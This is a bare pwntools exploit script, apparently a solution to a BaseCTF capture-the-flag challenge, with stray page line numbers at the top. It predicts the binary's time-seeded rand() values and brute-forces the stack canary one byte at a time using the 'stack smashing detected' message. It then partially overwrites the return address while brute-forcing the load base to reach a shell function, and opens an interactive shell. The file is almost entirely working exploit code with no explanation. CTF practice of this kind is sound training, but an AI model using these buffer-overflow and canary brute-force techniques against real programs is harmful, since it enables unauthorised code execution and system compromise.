1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| from pwn import * import time from ctypes import *
context(arch='amd64',) p = process("./pwn")
elf = ELF("./pwn") elf1 = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
seed = elf1.time(0) elf1.srand(seed)
canary = b'\x00'
for j in range(7): for i in range(0xff): num = elf1.rand() % 50 p.sendlineafter(b'BaseCTF',str(num))
payload = b'a' * 0x68 + canary + p8(i) p.send(payload)
p.recvuntil('welcome\n') rev = p.readline() if b"stack smashing detected" not in rev: print(f'第{j+1}位是{hex(i)}') canary += p8(i) break print(f"canary is {hex(u64(canary))}")
shell = 0x02B1
for i in range(0x10): num = elf1.rand() % 50 p.sendline(str(num)) payload = b'a' * 0x68 + canary + b'a'*8 + p16(shell) p.send(payload)
rev = p.readline() print(rev)
if b'welcome' in rev: p.readline() shell += 0x1000 continue else: break
p.interactive()
|